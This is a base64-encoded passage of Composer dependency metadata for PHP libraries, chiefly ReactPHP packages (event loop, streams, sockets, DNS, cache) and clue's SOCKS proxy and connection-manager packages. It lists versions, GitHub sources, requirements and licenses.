iBvZiBDb21tb25KUyBQcm9taXNlcy9BIGZvciBQSFAiCiAgICB9LAogICAgewogICAgICAgICJuYW1lIjogImV2ZW5lbWVudC9ldmVuZW1lbnQiLAogICAgICAgICJ2ZXJzaW9uIjogInYxLjAuMCIsCiAgICAgICAgInZlcnNpb25fbm9ybWFsaXplZCI6ICIxLjAuMC4wIiwKICAgICAgICAic291cmNlIjogewogICAgICAgICAgICAidHlwZSI6ICJnaXQiLAogICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9pZ29ydy9ldmVuZW1lbnQiLAogICAgICAgICAgICAicmVmZXJlbmNlIjogInYxLjAuMCIKICAgICAgICB9LAogICAgICAgICJkaXN0IjogewogICAgICAgICAgICAidHlwZSI6ICJ6aXAiLAogICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9pZ29ydy9ldmVuZW1lbnQvemlwYmFsbC92MS4wLjAiLAogICAgICAgICAgICAicmVmZXJlbmNlIjogInYxLjAuMCIsCiAgICAgICAgICAgICJzaGFzdW0iOiAiIgogICAgICAgIH0sCiAgICAgICAgInJlcXVpcmUiOiB7CiAgICAgICAgICAgICJwaHAiOiAiPj01LjMuMCIKICAgICAgICB9LAogICAgICAgICJ0aW1lIjogIjIwMTItMDUtMzAgMDg6MDE6MDgiLAogICAgICAgICJ0eXBlIjogImxpYnJhcnkiLAogICAgICAgICJpbnN0YWxsYXRpb24tc291cmNlIjogInNvdXJjZSIsCiAgICAgICAgImF1dG9sb2FkIjogewogICAgICAgICAgICAicHNyLTAiOiB7CiAgICAgICAgICAgICAgICAiRXZlbmVtZW50IjogInNyYyIKICAgICAgICAgICAgfQogICAgICAgIH0sCiAgICAgICAgIm5vdGlmaWNhdGlvbi11cmwiOiAiaHR0cHM6Ly9wYWNrYWdpc3Qub3JnL2Rvd25sb2Fkcy8iLAogICAgICAgICJsaWNlbnNlIjogWwogICAgICAgICAgICAiTUlUIgogICAgICAgIF0sCiAgICAgICAgImF1dGhvcnMiOiBbCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICJuYW1lIjogIklnb3IgV2llZGxlciIsCiAgICAgICAgICAgICAgICAiZW1haWwiOiAiaWdvckB3aWVkbGVyLmNoIiwKICAgICAgICAgICAgICAgICJob21lcGFnZSI6ICJodHRwOi8vd2llZGxlci5jaC9pZ29yLyIKICAgICAgICAgICAgfQogICAgICAgIF0sCiAgICAgICAgImRlc2NyaXB0aW9uIjogIsOJdsOpbmVtZW50IGlzIGEgdmVyeSBzaW1wbGUgZXZlbnQgZGlzcGF0Y2hpbmcgbGlicmFyeSBmb3IgUEhQIDUuMyIsCiAgICAgICAgImtleXdvcmRzIjogWwogICAgICAgICAgICAiZXZlbnQtZGlzcGF0Y2hlciIKICAgICAgICBdCiAgICB9LAogICAgewogICAgICAgICJuYW1lIjogInJlYWN0L2NhY2hlIiwKICAgICAgICAidmVyc2lvbiI6ICJ2MC4zLjIiLAogICAgICAgICJ2ZXJzaW9uX25vcm1hbGl6ZWQiOiAiMC4zLjIuMCIsCiAgICAgICAgInRhcmdldC1kaXIiOiAiUmVhY3QvQ2FjaGUiLAogICAgICAgICJzb3VyY2UiOiB7CiAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL2NhY2hlLmdpdCIsCiAgICAgICAgICAgICJyZWZlcmVuY2UiOiAidjAuMy4yIgogICAgICAgIH0sCiAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICJ0eXBlIjogInppcCIsCiAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9yZWFjdHBocC9jYWNoZS96aXBiYWxsL3YwLjMuMiIsCiAgICAgICAgICAgICJyZWZlcmVuY2UiOiAidjAuMy4yIiwKICAgICAgICAgICAgInNoYXN1bSI6ICIiCiAgICAgICAgfSwKICAgICAgICAicmVxdWlyZSI6IHsKICAgICAgICAgICAgInBocCI6ICI+PTUuMy4yIiwKICAgICAgICAgICAgInJlYWN0L3Byb21pc2UiOiAiPj0xLjAsPDIuMCIKICAgICAgICB9LAogICAgICAgICJ0aW1lIjogIjIwMTMtMDQtMjQgMDg6MzM6NDMiLAogICAgICAgICJ0eXBlIjogImxpYnJhcnkiLAogICAgICAgICJleHRyYSI6IHsKICAgICAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgICAgICJkZXYtbWFzdGVyIjogIjAuMy1kZXYiCiAgICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgICJpbnN0YWxsYXRpb24tc291cmNlIjogImRpc3QiLAogICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgInBzci0wIjogewogICAgICAgICAgICAgICAgIlJlYWN0XFxDYWNoZSI6ICIiCiAgICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgICJub3RpZmljYXRpb24tdXJsIjogImh0dHBzOi8vcGFja2FnaXN0Lm9yZy9kb3dubG9hZHMvIiwKICAgICAgICAibGljZW5zZSI6IFsKICAgICAgICAgICAgIk1JVCIKICAgICAgICBdLAogICAgICAgICJkZXNjcmlwdGlvbiI6ICJBc3luYyBjYWNoaW5nLiIsCiAgICAgICAgImtleXdvcmRzIjogWwogICAgICAgICAgICAiY2FjaGUiCiAgICAgICAgXQogICAgfSwKICAgIHsKICAgICAgICAibmFtZSI6ICJyZWFjdC9zdHJlYW0iLAogICAgICAgICJ2ZXJzaW9uIjogInYwLjMuMCIsCiAgICAgICAgInZlcnNpb25fbm9ybWFsaXplZCI6ICIwLjMuMC4wIiwKICAgICAgICAidGFyZ2V0LWRpciI6ICJSZWFjdC9TdHJlYW0iLAogICAgICAgICJzb3VyY2UiOiB7CiAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL3N0cmVhbS5naXQiLAogICAgICAgICAgICAicmVmZXJlbmNlIjogIjIwY2MwNDU4YWQ5M2U4ZjFmMDBlZjE1NDA4ZTc1OTQzNmNlMzZkNjgiCiAgICAgICAgfSwKICAgICAgICAiZGlzdCI6IHsKICAgICAgICAgICAgInR5cGUiOiAiemlwIiwKICAgICAgICAgICAgInVybCI6ICJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3JlYWN0cGhwL3N0cmVhbS96aXBiYWxsLzIwY2MwNDU4YWQ5M2U4ZjFmMDBlZjE1NDA4ZTc1OTQzNmNlMzZkNjgiLAogICAgICAgICAgICAicmVmZXJlbmNlIjogIjIwY2MwNDU4YWQ5M2U4ZjFmMDBlZjE1NDA4ZTc1OTQzNmNlMzZkNjgiLAogICAgICAgICAgICAic2hhc3VtIjogIiIKICAgICAgICB9LAogICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAiZXZlbmVtZW50L2V2ZW5lbWVudCI6ICIxLjAuKiIsCiAgICAgICAgICAgICJwaHAiOiAiPj01LjMuMyIKICAgICAgICB9LAogICAgICAgICJzdWdnZXN0IjogewogICAgICAgICAgICAicmVhY3QvZXZlbnQtbG9vcCI6ICIwLjMuKiIsCiAgICAgICAgICAgICJyZWFjdC9wcm9taXNlIjogIn4xLjAiCiAgICAgICAgfSwKICAgICAgICAidGltZSI6ICIyMDEzLTA0LTE0IDAyOjEwOjM5IiwKICAgICAgICAidHlwZSI6ICJsaWJyYXJ5IiwKICAgICAgICAiZXh0cmEiOiB7CiAgICAgICAgICAgICJicmFuY2gtYWxpYXMiOiB7CiAgICAgICAgICAgICAgICAiZGV2LW1hc3RlciI6ICIwLjMtZGV2IgogICAgICAgICAgICB9CiAgICAgICAgfSwKICAgICAgICAiaW5zdGFsbGF0aW9uLXNvdXJjZSI6ICJzb3VyY2UiLAogICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgInBzci0wIjogewogICAgICAgICAgICAgICAgIlJlYWN0XFxTdHJlYW0iOiAiIgogICAgICAgICAgICB9CiAgICAgICAgfSwKICAgICAgICAibm90aWZpY2F0aW9uLXVybCI6ICJodHRwczovL3BhY2thZ2lzdC5vcmcvZG93bmxvYWRzLyIsCiAgICAgICAgImxpY2Vuc2UiOiBbCiAgICAgICAgICAgICJNSVQiCiAgICAgICAgXSwKICAgICAgICAiZGVzY3JpcHRpb24iOiAiQmFzaWMgcmVhZGFibGUgYW5kIHdyaXRhYmxlIHN0cmVhbSBpbnRlcmZhY2VzIHRoYXQgc3VwcG9ydCBwaXBpbmcuIiwKICAgICAgICAia2V5d29yZHMiOiBbCiAgICAgICAgICAgICJwaXBlIiwKICAgICAgICAgICAgInN0cmVhbSIKICAgICAgICBdCiAgICB9LAogICAgewogICAgICAgICJuYW1lIjogInJlYWN0L2V2ZW50LWxvb3AiLAogICAgICAgICJ2ZXJzaW9uIjogInYwLjMuMCIsCiAgICAgICAgInZlcnNpb25fbm9ybWFsaXplZCI6ICIwLjMuMC4wIiwKICAgICAgICAidGFyZ2V0LWRpciI6ICJSZWFjdC9FdmVudExvb3AiLAogICAgICAgICJzb3VyY2UiOiB7CiAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL2V2ZW50LWxvb3AuZ2l0IiwKICAgICAgICAgICAgInJlZmVyZW5jZSI6ICI3OThhNDNiMmU5YmQzY2VkYWY3YzVkZTZhMzllNmQwM2U0ZGI4ZTMyIgogICAgICAgIH0sCiAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICJ0eXBlIjogInppcCIsCiAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9yZWFjdHBocC9ldmVudC1sb29wL3ppcGJhbGwvNzk4YTQzYjJlOWJkM2NlZGFmN2M1ZGU2YTM5ZTZkMDNlNGRiOGUzMiIsCiAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiNzk4YTQzYjJlOWJkM2NlZGFmN2M1ZGU2YTM5ZTZkMDNlNGRiOGUzMiIsCiAgICAgICAgICAgICJzaGFzdW0iOiAiIgogICAgICAgIH0sCiAgICAgICAgInJlcXVpcmUiOiB7CiAgICAgICAgICAgICJwaHAiOiAiPj01LjMuMyIKICAgICAgICB9LAogICAgICAgICJzdWdnZXN0IjogewogICAgICAgICAgICAiZXh0LWxpYmV2IjogIioiLAogICAgICAgICAgICAiZXh0LWxpYmV2ZW50IjogIj49MC4wLjUiCiAgICAgICAgfSwKICAgICAgICAidGltZSI6ICIyMDEzLTAxLTE0IDIzOjExOjQ3IiwKICAgICAgICAidHlwZSI6ICJsaWJyYXJ5IiwKICAgICAgICAiZXh0cmEiOiB7CiAgICAgICAgICAgICJicmFuY2gtYWxpYXMiOiB7CiAgICAgICAgICAgICAgICAiZGV2LW1hc3RlciI6ICIwLjMtZGV2IgogICAgICAgICAgICB9CiAgICAgICAgfSwKICAgICAgICAiaW5zdGFsbGF0aW9uLXNvdXJjZSI6ICJzb3VyY2UiLAogICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgInBzci0wIjogewogICAgICAgICAgICAgICAgIlJlYWN0XFxFdmVudExvb3AiOiAiIgogICAgICAgICAgICB9CiAgICAgICAgfSwKICAgICAgICAibm90aWZpY2F0aW9uLXVybCI6ICJodHRwczovL3BhY2thZ2lzdC5vcmcvZG93bmxvYWRzLyIsCiAgICAgICAgImxpY2Vuc2UiOiBbCiAgICAgICAgICAgICJNSVQiCiAgICAgICAgXSwKICAgICAgICAiZGVzY3JpcHRpb24iOiAiRXZlbnQgbG9vcCBhYnN0cmFjdGlvbiBsYXllciB0aGF0IGxpYnJhcmllcyBjYW4gdXNlIGZvciBldmVudGVkIEkvTy4iLAogICAgICAgICJrZXl3b3JkcyI6IFsKICAgICAgICAgICAgImV2ZW50LWxvb3AiCiAgICAgICAgXQogICAgfSwKICAgIHsKICAgICAgICAibmFtZSI6ICJyZWFjdC9zb2NrZXQiLAogICAgICAgICJ2ZXJzaW9uIjogInYwLjMuMCIsCiAgICAgICAgInZlcnNpb25fbm9ybWFsaXplZCI6ICIwLjMuMC4wIiwKICAgICAgICAidGFyZ2V0LWRpciI6ICJSZWFjdC9Tb2NrZXQiLAogICAgICAgICJzb3VyY2UiOiB7CiAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL3NvY2tldC5naXQiLAogICAgICAgICAgICAicmVmZXJlbmNlIjogImU1NDliMWUzOWRhZWZlYmMyZjIyOTBjNmFmZGZjNmJhNWQxMmU1MWYiCiAgICAgICAgfSwKICAgICAgICAiZGlzdCI6IHsKICAgICAgICAgICAgInR5cGUiOiAiemlwIiwKICAgICAgICAgICAgInVybCI6ICJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3JlYWN0cGhwL3NvY2tldC96aXBiYWxsL2U1NDliMWUzOWRhZWZlYmMyZjIyOTBjNmFmZGZjNmJhNWQxMmU1MWYiLAogICAgICAgICAgICAicmVmZXJlbmNlIjogImU1NDliMWUzOWRhZWZlYmMyZjIyOTBjNmFmZGZjNmJhNWQxMmU1MWYiLAogICAgICAgICAgICAic2hhc3VtIjogIiIKICAgICAgICB9LAogICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAiZXZlbmVtZW50L2V2ZW5lbWVudCI6ICIxLjAuKiIsCiAgICAgICAgICAgICJwaHAiOiAiPj01LjMuMyIsCiAgICAgICAgICAgICJyZWFjdC9ldmVudC1sb29wIjogIjAuMy4qIiwKICAgICAgICAgICAgInJlYWN0L3N0cmVhbSI6ICIwLjMuKiIKICAgICAgICB9LAogICAgICAgICJ0aW1lIjogIjIwMTMtMDEtMjEgMDQ6MjA6NDkiLAogICAgICAgICJ0eXBlIjogImxpYnJhcnkiLAogICAgICAgICJleHRyYSI6IHsKICAgICAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgICAgICJkZXYtbWFzdGVyIjogIjAuMy1kZXYiCiAgICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgICJpbnN0YWxsYXRpb24tc291cmNlIjogInNvdXJjZSIsCiAgICAgICAgImF1dG9sb2FkIjogewogICAgICAgICAgICAicHNyLTAiOiB7CiAgICAgICAgICAgICAgICAiUmVhY3RcXFNvY2tldCI6ICIiCiAgICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgICJub3RpZmljYXRpb24tdXJsIjogImh0dHBzOi8vcGFja2FnaXN0Lm9yZy9kb3dubG9hZHMvIiwKICAgICAgICAibGljZW5zZSI6IFsKICAgICAgICAgICAgIk1JVCIKICAgICAgICBdLAogICAgICAgICJkZXNjcmlwdGlvbiI6ICJMaWJyYXJ5IGZvciBidWlsZGluZyBhbiBldmVudGVkIHNvY2tldCBzZXJ2ZXIuIiwKICAgICAgICAia2V5d29yZHMiOiBbCiAgICAgICAgICAgICJTb2NrZXQiCiAgICAgICAgXQogICAgfSwKICAgIHsKICAgICAgICAibmFtZSI6ICJyZWFjdC9kbnMiLAogICAgICAgICJ2ZXJzaW9uIjogInYwLjMuMCIsCiAgICAgICAgInZlcnNpb25fbm9ybWFsaXplZCI6ICIwLjMuMC4wIiwKICAgICAgICAidGFyZ2V0LWRpciI6ICJSZWFjdC9EbnMiLAogICAgICAgICJzb3VyY2UiOiB7CiAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL2Rucy5naXQiLAogICAgICAgICAgICAicmVmZXJlbmNlIjogIjMwMTFkMjdlOWUzOWY4M2U3MDJiMGU3ZTQ2OTE5MmQzNmZiMjEyMDUiCiAgICAgICAgfSwKICAgICAgICAiZGlzdCI6IHsKICAgICAgICAgICAgInR5cGUiOiAiemlwIiwKICAgICAgICAgICAgInVybCI6ICJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3JlYWN0cGhwL2Rucy96aXBiYWxsLzMwMTFkMjdlOWUzOWY4M2U3MDJiMGU3ZTQ2OTE5MmQzNmZiMjEyMDUiLAogICAgICAgICAgICAicmVmZXJlbmNlIjogIjMwMTFkMjdlOWUzOWY4M2U3MDJiMGU3ZTQ2OTE5MmQzNmZiMjEyMDUiLAogICAgICAgICAgICAic2hhc3VtIjogIiIKICAgICAgICB9LAogICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAicGhwIjogIj49NS4zLjIiLAogICAgICAgICAgICAicmVhY3QvY2FjaGUiOiAiMC4zLioiLAogICAgICAgICAgICAicmVhY3QvcHJvbWlzZSI6ICJ+MS4wIiwKICAgICAgICAgICAgInJlYWN0L3NvY2tldCI6ICIwLjMuKiIKICAgICAgICB9LAogICAgICAgICJ0aW1lIjogIjIwMTMtMDEtMjAgMTk6MTM6MTQiLAogICAgICAgICJ0eXBlIjogImxpYnJhcnkiLAogICAgICAgICJleHRyYSI6IHsKICAgICAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgICAgICJkZXYtbWFzdGVyIjogIjAuMy1kZXYiCiAgICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgICJpbnN0YWxsYXRpb24tc291cmNlIjogInNvdXJjZSIsCiAgICAgICAgImF1dG9sb2FkIjogewogICAgICAgICAgICAicHNyLTAiOiB7CiAgICAgICAgICAgICAgICAiUmVhY3RcXERucyI6ICIiCiAgICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgICJub3RpZmljYXRpb24tdXJsIjogImh0dHBzOi8vcGFja2FnaXN0Lm9yZy9kb3dubG9hZHMvIiwKICAgICAgICAibGljZW5zZSI6IFsKICAgICAgICAgICAgIk1JVCIKICAgICAgICBdLAogICAgICAgICJkZXNjcmlwdGlvbiI6ICJBc3luYyBETlMgcmVzb2x2ZXIuIiwKICAgICAgICAia2V5d29yZHMiOiBbCiAgICAgICAgICAgICJkbnMiLAogICAgICAgICAgICAiZG5zLXJlc29sdmVyIgogICAgICAgIF0KICAgIH0sCiAgICB7CiAgICAgICAgIm5hbWUiOiAiY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEiLAogICAgICAgICJ2ZXJzaW9uIjogInYwLjMuMSIsCiAgICAgICAgInZlcnNpb25fbm9ybWFsaXplZCI6ICIwLjMuMS4wIiwKICAgICAgICAic291cmNlIjogewogICAgICAgICAgICAidHlwZSI6ICJnaXQiLAogICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9jbHVlL3BocC1jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEuZ2l0IiwKICAgICAgICAgICAgInJlZmVyZW5jZSI6ICJmOGZjMmVjNzg0ZGI3OTc0ZTY0OWMxNThjODI2YzAxNDI5NmJjZjAxIgogICAgICAgIH0sCiAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICJ0eXBlIjogInppcCIsCiAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbHVlL3BocC1jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEvemlwYmFsbC9mOGZjMmVjNzg0ZGI3OTc0ZTY0OWMxNThjODI2YzAxNDI5NmJjZjAxIiwKICAgICAgICAgICAgInJlZmVyZW5jZSI6ICJmOGZjMmVjNzg0ZGI3OTc0ZTY0OWMxNThjODI2YzAxNDI5NmJjZjAxIiwKICAgICAgICAgICAgInNoYXN1bSI6ICIiCiAgICAgICAgfSwKICAgICAgICAicmVxdWlyZSI6IHsKICAgICAgICAgICAgInBocCI6ICI+PTUuMyIsCiAgICAgICAgICAgICJyZWFjdC9ldmVudC1sb29wIjogIjAuMy4qfDAuNC4qIiwKICAgICAgICAgICAgInJlYWN0L3Byb21pc2UiOiAifjEuMHx+Mi4wIiwKICAgICAgICAgICAgInJlYWN0L3NvY2tldC1jbGllbnQiOiAiMC4zLip8MC40LioiCiAgICAgICAgfSwKICAgICAgICAidGltZSI6ICIyMDE0LTA5LTI3IDIzOjAzOjQxIiwKICAgICAgICAidHlwZSI6ICJsaWJyYXJ5IiwKICAgICAgICAiaW5zdGFsbGF0aW9uLXNvdXJjZSI6ICJzb3VyY2UiLAogICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgInBzci00IjogewogICAgICAgICAgICAgICAgIkNvbm5lY3Rpb25NYW5hZ2VyXFxFeHRyYVxcIjogInNyYyIKICAgICAgICAgICAgfQogICAgICAgIH0sCiAgICAgICAgIm5vdGlmaWNhdGlvbi11cmwiOiAiaHR0cHM6Ly9wYWNrYWdpc3Qub3JnL2Rvd25sb2Fkcy8iLAogICAgICAgICJsaWNlbnNlIjogWwogICAgICAgICAgICAiTUlUIgogICAgICAgIF0sCiAgICAgICAgImF1dGhvcnMiOiBbCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICJuYW1lIjogIkNocmlzdGlhbiBMw7xjayIsCiAgICAgICAgICAgICAgICAiZW1haWwiOiAiY2hyaXN0aWFuQGx1ZWNrLnR2IgogICAgICAgICAgICB9CiAgICAgICAgXSwKICAgICAgICAiZGVzY3JpcHRpb24iOiAiRXh0cmEgZGVjb3JhdG9ycyBmb3IgY3JlYXRpbmcgYXN5bmMgVENQL0lQIGNvbm5lY3Rpb25zIGJ1aWx0IHVwb24gcmVhY3Qvc29ja2V0LWNsaWVudCIsCiAgICAgICAgImhvbWVwYWdlIjogImh0dHBzOi8vZ2l0aHViLmNvbS9jbHVlL3BocC1jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEiLAogICAgICAgICJrZXl3b3JkcyI6IFsKICAgICAgICAgICAgIkNvbm5lY3Rpb24iLAogICAgICAgICAgICAiU29ja2V0Q2xpZW50IiwKICAgICAgICAgICAgImFjbCIsCiAgICAgICAgICAgICJkZWxheSIsCiAgICAgICAgICAgICJmaXJld2FsbCIsCiAgICAgICAgICAgICJuZXR3b3JrIiwKICAgICAgICAgICAgInJhbmRvbSIsCiAgICAgICAgICAgICJyZWplY3QiLAogICAgICAgICAgICAicmVwZWF0IiwKICAgICAgICAgICAgInJldHJ5IiwKICAgICAgICAgICAgInRpbWVvdXQiCiAgICAgICAgXQogICAgfSwKICAgIHsKICAgICAgICAibmFtZSI6ICJjbHVlL3NvY2tzLXJlYWN0IiwKICAgICAgICAidmVyc2lvbiI6ICJ2MC4yLjAiLAogICAgICAgICJ2ZXJzaW9uX25vcm1hbGl6ZWQiOiAiMC4yLjAuMCIsCiAgICAgICAgInNvdXJjZSI6IHsKICAgICAgICAgICAgInR5cGUiOiAiZ2l0IiwKICAgICAgICAgICAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9waHAtc29ja3MtcmVhY3QuZ2l0IiwKICAgICAgICAgICAgInJlZmVyZW5jZSI6ICIxNGE5OGI2MzlhOWY5ZmY0NWU3ZGRhNGVkNGVlOTk1ZmY2YzQ2ZGNkIgogICAgICAgIH0sCiAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICJ0eXBlIjogInppcCIsCiAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jbHVlL3BocC1zb2Nrcy1yZWFjdC96aXBiYWxsLzE0YTk4YjYzOWE5ZjlmZjQ1ZTdkZGE0ZWQ0ZWU5OTVmZjZjNDZkY2QiLAogICAgICAgICAgICAicmVmZXJlbmNlIjogIjE0YTk4YjYzOWE5ZjlmZjQ1ZTdkZGE0ZWQ0ZWU5OTVmZjZjNDZkY2QiLAogICAgICAgICAgICAic2hhc3VtIjogIiIKICAgICAgICB9LAogICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAiZXZlbmVtZW50L2V2ZW5lbWVudCI6ICJ+MS4wIiwKICAgICAgICAgICAgInBocCI6ICI+PTUuMyIsCiAgICAgICAgICAgICJyZWFjdC9kbnMiOiAiMC4zLioiLAogICAgICAgICAgICAicmVhY3QvZXZlbnQtbG9vcCI6ICIwLjMuKiIsCiAgICAgICAgICAgICJyZWFjdC9wcm9taXNlIjogIn4xLjAiLAogICAgICAgICAgICAicmVhY3Qvc29ja2V0IjogIjAuMy4qIiwKICAgICAgICAgICAgInJlYWN0L3NvY2tldC1jbGllbnQiOiAiMC4zLioiLAogICAgICAgICAgICAicmVhY3Qvc3RyZWFtIjogIjAuMy4qIgogICAgICAgIH0sCiAgICAgICAgInRpbWUiOiAiMjAxNC0wOS0yNyAxNTozMjozMCIsCiAgICAgICAgInR5cGUiOiAibGlicmFyeSIsCiAgICAgICAgImluc3RhbGxhdGlvbi1zb3VyY2UiOiAiZGlzdCIsCiAgICAgICAgImF1dG9sb2FkIjogewogICAgICAgICAgICAicHNyLTQiOiB7CiAgICAgICAgICAgICAgICAiQ2x1ZVxcUmVhY3RcXFNvY2tzXFwiOiAic3JjIgogICAgICAgICAgICB9CiAgICAgICAgfSwKICAgICAgICAibm90aWZpY2F0aW9uLXVybCI6ICJodHRwczovL3BhY2thZ2lzdC5vcmcvZG93bmxvYWRzLyIsCiAgICAgICAgImxpY2Vuc2UiOiBbCiAgICAgICAgICAgICJNSVQiCiAgICAgICAgXSwKICAgICAgICAiYXV0aG9ycyI6IFsKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgIm5hbWUiOiAiQ2hyaXN0aWFuIEzDvGNrIiwKICAgICAgICAgICAgICAgICJlbWFpbCI6ICJjaHJpc3RpYW5AbHVlY2sudHYiCiAgICAgICAgICAgIH0KICAgICAgICBdLAogICAgICAgICJkZXNjcmlwdGlvbiI6ICJBc3luYyBTT0NLUyBwcm94eSBjbGllbnQgYW5kIHNlcnZlciAoU09DS1M0LCBTT0NLUzRhIGFuZCBTT0NLUzUpIiwKICAgICAgICAiaG9tZXBhZ2UiOiAiaHR0cHM6Ly9naXRodWIuY29tL2NsdWUvcGhwLXNvY2tzLXJlYWN0IiwKICAgICAgICAia2V5d29yZHMiOiBbCiAgICAgICAgICAgICJhc3luYyIsCiAgICAgICAgICAgICJyZWFjdCIsCiAgICAgICAgICAgICJzb2NrcyBjbGllbnQiLAogICAgICAgICAgICAic29ja3MgcHJvdG9jb2wiLAogICAgICAgICAgICAic29ja3Mgc2VydmVyIiwKICAgICAgICAgICAgInRjcCB0dW5uZWwiCiAgICAgICAgXQogICAgfSwKICAgIHsKICAgICAgICAibmFtZSI6ICJyZWFjdC9zb2NrZXQtY2xpZW50IiwKICAgICAgICAidmVyc2lvbiI6ICJ2MC4zLjEiLAogICAgICAgICJ2ZXJzaW9uX25vcm1hbGl6ZWQiOiAiMC4zLjEuMCIsCiAgICAgICAgInRhcmdldC1kaXIiOiAiUmVhY3QvU29ja2V0Q2xpZW50IiwKICAgICAgICAic291cmNlIjogewogICAgICAgICAgICAidHlwZSI6ICJnaXQiLAogICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9zb2NrZXQtY2xpZW50LmdpdCIsCiAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiODc5MzVhMDIyMzM2MmMzNmNkMzBjZjIxNWNiZWMzMzM3N2QzMWNhNCIKICAgICAgICB9LAogICAgICAgICJkaXN0IjogewogICAgICAgICAgICAidHlwZSI6ICJ6aXAiLAogICAgICAgICAgICAidXJsIjogImh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcmVhY3RwaHAvc29ja2V0LWNsaWVudC96aXBiYWxsLzg3OTM1YTAyMjMzNjJjMzZjZDMwY2YyMTVjYmVjMzMzNzdkMzFjYTQiLAogICAgICAgICAgICAicmVmZXJlbmNlIjogIjg3OTM1YTAyMjMzNjJjMzZjZDMwY2YyMTVjYmVjMzMzNzdkMzFjYTQiLAogICAgICAgICAgICAic2hhc3VtIjogIiIKICAgICAgICB9LAogICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAicGhwIjogIj49NS4zLjMiLAogICAgICAgICAgICAicmVhY3QvZG5zIjogIjAuMy4qIiwKICAgICAgICAgICAgInJlYWN0L2V2ZW50LWxvb3AiOiAiMC4zLioiLAogICAgICAgICAgICAicmVhY3QvcHJvbWlzZSI6ICJ+MS4wIgogICAgICAgIH0sCiAgICAgICAgInRpbWUiOiAiMjAxMy0wNC0yMCAxNDo1NTo1OSIsCiAgICAgICAgInR5cGUiOiAibGlicmFyeSIsCiAgICAgICAgImV4dHJhIjogewogICAgICAgICAgICAiYnJhbmNoLWFsaWFzIjogewogICAgICAgICAgICAgICAgImRldi1tYXN0ZXIiOiAiMC4zLWRldiIKICAgICAgICAgICAgfQogICAgICAgIH0sCiAgICAgICAgImluc3RhbGxhdGlvbi1zb3VyY2UiOiAiZGlzdCIsCiAgICAgICAgImF1dG9sb2FkIjogewogICAgICAgICAgICAicHNyLTAiOiB7CiAgICAgICAgICAgICAgICAiUmVhY3RcXFNvY2tldENsaWVudCI6ICIiCiAgICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgICJub3RpZmljYXRpb24tdXJsIjogImh0dHBzOi8vcGFja2FnaXN0Lm9yZy9kb3dubG9hZHMvIiwKICAgICAgICAibGljZW5zZSI6IFsKICAgICAgICAgICAgIk1JVCIKICAgICAgICBdLAogICAgICAgICJkZXNjcmlwdGlvbiI6ICJBc3luYyBjb25uZWN0b3IgdG8gb3BlbiBUQ1AvSVAgYW5kIFNTTC9UTFMgYmFzZWQgY29ubmVjdGlvbnMuIiwKICAgICAgICAia2V5d29yZHMiOiBbCiAgICAg